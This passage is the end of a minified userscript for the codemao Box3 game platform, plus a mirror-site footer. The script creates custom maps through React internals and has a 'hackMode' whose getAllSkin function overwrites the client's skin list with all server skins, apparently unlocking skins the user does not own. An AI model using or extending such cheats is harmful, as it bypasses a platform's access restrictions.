  4798. const containerName = await document.querySelector(".app")._reactRootContainer._internalRoot.current.updateQueue.baseState.element.props.children.props.website.rpc.container.api.createGameEdit(
  4799. { hash: projectHash, name: config.name }
  4800. );
  4801. console.log("Edit container", containerName);
  4802. const editHref = `https://box3.codemao.cn/e/${containerName.slice(5)}`;
  4803. console.log("Edit href", editHref);
  4804. if ((await Swal.fire({
  4805. title: "创建完成",
  4806. text: "已使用自定义参数创建地图",
  4807. icon: "success",
  4808. confirmButtonText: "进入地图"
  4809. })).isConfirmed) {
  4810. location.href = editHref;
  4811. }
  4812. } catch (e) {
  4813. Swal.fire("创建失败", String(e), "error");
  4814. }
  4815. return;
  4816. };
  4817. shapeFolder.add(config.shape, "x", 32, 1024, 32);
  4818. shapeFolder.add(config.shape, "y", 32, 1024, 32);
  4819. shapeFolder.add(config.shape, "z", 32, 1024, 32);
  4820. f.add(config, "enableTriggerAPI").name("启用TriggerAPI");
  4821. f.add(config, "scriptIndex").name("脚本入口文件");
  4822. f.add(config, "storageMode", ["sqlite", "pg"]).name("数据库引擎");
  4823. f.add(config, "name").name("地图名称");
  4824. addFunctionButton(f, create, "创建自定义地图");
  4825. }
  4826. function MapContent(gui2) {
  4827. const f = gui2.addFolder("地图工具");
  4828. _CustomMap(f);
  4829. }
  4830. const MapContent$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4831. __proto__: null,
  4832. default: MapContent
  4833. }, Symbol.toStringTag, { value: "Module" }));
  4834. async function Play(gui2) {
  4835. const f = gui2.addFolder("游玩模式");
  4836. const rootElement = await waitElement("#react-container");
  4837. function getCore() {
  4838. return rootElement._reactRootContainer._internalRoot.current.updateQueue.baseState.element.props.children.props.children.props;
  4839. }
  4840. await waitUntil(() => getCore() && getCore().state);
  4841. const state = getCore().state;
  4842. await waitUntil(() => state.box3.state.appState === 2);
  4843. const waitLabel = addLabel(f, "等待进入地图");
  4844. Object.assign(unsafeWindow, { core: getCore(), state });
  4845. waitLabel.destroy();
  4846. addFunctionButton(
  4847. f,
  4848. async () => {
  4849. state.box3.state.chat.log = [];
  4850. },
  4851. "清空聊天"
  4852. );
  4853. if (settings["flag.hackMode"]) {
  4854. console.log("PlayMode Hack Enabled.");
  4855. Object.assign(unsafeWindow, {
  4856. async getAllSkin() {
  4857. const stop = startLoading();
  4858. state.box3.state.secret.availableSkin = (await getCore().brpc.skin.api.getAll()).map((e) => e.name);
  4859. stop();
  4860. Swal.fire("Got all skins", "", "success");
  4861. },
  4862. async fillWaterWorld() {
  4863. for (let x = 0; x < state.box3.state.voxel.shape[0]; x++)
  4864. for (let y = 0; y < state.box3.state.voxel.shape[1]; y++)
  4865. for (let z = 0; z < state.box3.state.voxel.shape[2]; z++)
  4866. if (state.box3.voxel.getVoxel(x, y, z) === 0)
  4867. state.box3.voxel._setVoxel(x, y, z, 364);
  4868. },
  4869. async clearWater() {
  4870. for (let x = 0; x < state.box3.state.voxel.shape[0]; x++)
  4871. for (let y = 0; y < state.box3.state.voxel.shape[1]; y++)
  4872. for (let z = 0; z < state.box3.state.voxel.shape[2]; z++)
  4873. if (state.box3.voxel.getVoxel(x, y, z) === 364)
  4874. state.box3.voxel._setVoxel(x, y, z, 0);
  4875. }
  4876. });
  4877. }
  4878. GraphicSettings(getCore, state, f);
  4879. }
  4880. const Play$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4881. __proto__: null,
  4882. default: Play
  4883. }, Symbol.toStringTag, { value: "Module" }));
  4884. })();

QingJ © 2025

镜像随时可能失效,请加Q群300939539或关注我们的公众号极客氢云获取最新地址